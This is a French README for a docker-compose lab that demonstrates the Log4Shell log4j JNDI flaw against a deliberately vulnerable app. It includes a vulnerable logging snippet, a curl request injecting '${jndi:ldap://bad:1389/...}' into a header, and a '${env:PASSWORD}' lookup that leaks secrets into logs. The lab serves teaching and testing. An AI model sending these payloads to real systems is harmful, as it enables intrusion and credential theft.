
Exemple de configuration docker-compose pour montrer comment cet exploit fonctionne
Ce dépôt contient un exemple fonctionnel d'abus de la récente faille log4j. Il n'exécute pas réellement de code à distance, mais montre à quel point il est facile pour un acteur malveillant de faire appel à son propre serveur ldap depuis une application vulnérable.
Ceci utilise l'excellente application vulnérable de log4j créée par christophetd : https://github.com/christophetd/log4shell-vulnerable-app
Cette vulnérabilité abuse de la fonctionnalité lookup de log4j, notamment jndi, qui permet à log4j d'effectuer des recherches (lookups) sur des hôtes externes pour obtenir des données à insérer. Cela peut être exploité pour aller de la journalisation de variables sensibles de l'environnement jusqu'à l'exécution de code à distance.
Les recherches sont effectuées pour tout texte entouré de ${} lorsque le logger est appelé. Par exemple,
${jndi:ldap://someldapserver:1389/o=example}
effectuerait une recherche sur ce serveur LDAP avec la requête donnée et afficherait le résultat.
Un exemple plus simple qui n'utilise pas jndi, mais qui est tout aussi dangereux :
${env:PASSWORD}
Cela afficherait le contenu de cette variable d'environnement dans les journaux. Une personne ayant accès à ces journaux pourrait alors extraire des données sensibles de l'application.
Le code log4j nécessaire pour que cette faille soit exploitée est assez simple. Il suffit d'appeler le logger pour journaliser une propriété de requête donnée sans l'assainir. Par exemple, vous pouvez journaliser le contenu d'un User-Agent.
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
Tout d'abord, construisez le serveur ldap local :
docker build -t ldapnode .
Une fois construit, démarrez toute la pile en exécutant
docker-compose up
Ensuite, vous pouvez effectuer une requête vers l'application, en utilisant l'en-tête x-api-version pour injecter la recherche
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
En utilisant cette requête, vous verrez dans les journaux de docker-compose que le serveur ldap a été appelé :
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
Veuillez consulter cette documentation pour connaître les solutions de remédiation.